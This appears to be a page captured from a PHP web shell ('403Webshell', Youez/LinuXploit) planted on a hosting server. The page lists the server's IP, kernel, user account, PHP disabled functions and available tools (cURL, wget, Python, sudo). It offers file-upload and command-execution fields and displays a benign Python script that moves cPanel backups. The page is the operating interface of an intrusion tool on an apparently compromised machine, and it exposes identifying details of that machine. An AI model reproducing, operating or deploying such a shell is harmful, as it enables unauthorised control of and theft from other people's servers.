403Webshell
Server IP : 199.250.200.62  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/tier2c/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/tier2c/mv_backup.py
#!/opt/support/venv/bin/python3
"""Move cpanel backups to and from /home"""
from pathlib import Path
import argparse
import shlex
import sys

sys.path.insert(0, '/opt/support/lib')
from arg_types import cpmove_file_type, path_in_home


def parse_args() -> tuple[Path, Path]:
    """Validate and return source and destination paths"""
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument(
        'src',
        metavar='SOURCE',
        type=cpmove_file_type,
        help='cPanel backup file',
    )
    parser.add_argument(
        'dst',
        metavar='DESTINATION',
        type=path_in_home,
        help='destination folder',
    )
    args = parser.parse_args()
    return args.src, args.dst


def main():
    """Validate input, then move a cpanel backup in or out of /home"""
    source, dest_dir = parse_args()
    dest = dest_dir.joinpath(source.name)
    # perform the move
    try:
        print(shlex.quote(str(source)), '->', shlex.quote(str(dest)))
        source.rename(dest)
    except OSError as exc:
        sys.exit(exc)


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit